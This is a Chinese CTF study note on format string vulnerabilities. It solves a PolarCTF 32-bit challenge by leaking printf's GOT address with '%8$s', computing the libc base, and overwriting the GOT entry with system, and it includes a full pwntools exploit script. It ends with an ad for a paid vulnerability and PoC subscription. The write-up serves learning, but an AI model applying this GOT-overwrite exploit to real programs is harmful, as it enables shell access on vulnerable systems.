小猫的PWN学习笔记8:格式化字符串漏洞
原创
小猫信安
小猫信安
小猫信安
2026年8月23日 21:45
湖北
标题已修改
在小说阅读器读本章
去阅读
格式化字符串是C语言中常见的输出方式,通过占位符(如%d、%s等)指定输出格式。若程序未正确处理用户输入的格式化字符串,可能导致任意地址读写等漏洞。
比如
printf(\"%d\",a)
输出a的值,这个我们都学过。
printf(\"%d\")
这个输出什么呢?
实际上,printf函数的参数会在栈中寻找,它会自动寻找栈中的值进行输出。
因此,我们可以让printf输出栈中我们想要的内容,造成内存泄露,这就是格式化字符串漏洞。
回忆一下C语言中格式化字符串常用占位符
占位符\t含义%d\t以十进制形式输出整数%u\t以十进制形式输出无符号整数%x\t以十六进制形式输出整数(小写字母)%X\t以十六进制形式输出整数(大写字母)%o\t以十进制形式输出整数%f\t以浮点数形式输出实数%e\t以指数形式输出实数%g\t自动选择%f或者%e输出实数%c\t输出单个字符%s\t输出字符串%p\t输出指针的地址%n\t将已经输出的字符数写入参数
当出现
gets(buf)printf(buf)
这种逻辑的时候,我们就可以输入buf为”%p%p“,泄露栈上的内容
例题
https://www.polarctf.com/files/2a4c28057d704a76d3f975851da60b18/pwn1?token=eyJ1c2VyX2lkIjoxMDkyMywidGVhbV9pZCI6bnVsbCwiZmlsZV9pZCI6NjU3fQ.aok4eg.8hd0VfwZvb6ZkgaG_gmAei6hfKM
可以看到输入yes之后会进入一个死循环,输入buf,printf直接输出buf,因此存在格式化字符串漏洞
查看文件格式
32位,动态链接库加载。
因此可以用格式化字符串泄露一个函数地址,计算出libc基地址,然后再修改栈上printf地址为system,这样我们原本执行到printf就会执行system,进行getshell。
这里泄露printf的真实地址来计算libc基地址
用gdb调试,看格式化字符串在栈上哪个位置
aaaa1%p2%p3%p4%p5%p6%p7%p8%p9%p10%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
可以看到在第8位置
编写poc
from pwn import *io=process(\"./pwn11\")elf=ELF(\"pwn11\")libc = ELF('./libc6-i386_2.23-0ubuntu11.3_amd64.so', checksec=False)p_g=elf.got[\"printf\"]
io.recvuntil(\"ke PolarCTF?\
\")io.sendline(\"yes\")
payload = p32(p_g) + b'%8$s'
这里解释下payload = p32(p\_g) + b'%8$s'
%8$s代表从栈上从上往下数第八个参数,也就是上文的aaaa那个位置,p\_g是printf的got表地址,这里相当于把aaaa替换成printf的got表地址再$s进行解析输出printf真实地址,最后输出printf的got表地址+printf真实地址,这样printf真实地址就泄露出来了。
接收
io.recvuntil(\"re!\
\
\")io.sendline(payload)io.recv(4) #这四个printf的got表地址,不是真实地址data = u32(io.recv(4)) #注意后面四个字节才是我们想要的,这是printf真实地址log.info(\"data:\"+hex(data))
然后劫持printf的got表替换为system直接就能getshell
system_addr = libcb+libc.symbols['system']
payload = fmtstr_payload( 8, {p_g: system_addr}, write_size='short')io.sendline(payload)
完整poc
from pwn import *io=process(\"./pwn11\")elf=ELF(\"pwn11\")libc = ELF('./libc6-i386_2.23-0ubuntu11.3_amd64.so', checksec=False)p_g=elf.got[\"printf\"]io.recvuntil(\"ke PolarCTF?\
\")io.sendline(\"yes\")payload = p32(p_g) + b'%8$s'io.recvuntil(\"re!\
\
\")io.sendline(payload)io.recv(4)data = u32(io.recv(4))log.info(\"data:\"+hex(data))libcb=data-libc.symbols['printf']log.info(\"libc:\"+hex(libcb))system_addr = libcb+libc.symbols['system']payload = fmtstr_payload( 8, {p_g: system_addr}, write_size='short')io.sendline(payload)io.interactive()
收工。
这里推荐一个我自己的漏洞库,微信上面就能看,不光分享挖掘漏洞全套知识,课程,还不定期分享全网xday,poc,ed\src和c\vd已经公开报告,一年59元,我全网比较下来一圈,总体来说全网算是性价比非常高的,一些机构的课程课程动不动就大几千,因此我尽量以实惠的价格为大家传授经验,而且是我个人运营,,这里就是为了让更多人能接触网安这个行业。
对于刚入门的同学,这个圈子里我会从最初编程开始教起,一步一步到计算机网络,操作系统,前后端代审等等我分享的一切资料都会以最通俗易懂,小白式语言,手把手教学。
对于有经验的师傅们,这个可以当做微信上面随手打开的漏洞库,平常下班可以点开看看,一些poc也可以上面查找,也欢迎补充分享。
刚开始建圈,后期会每天更新内容,因此,现在是最低价,后期随着资料含金量越来越高,只会上调价格
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论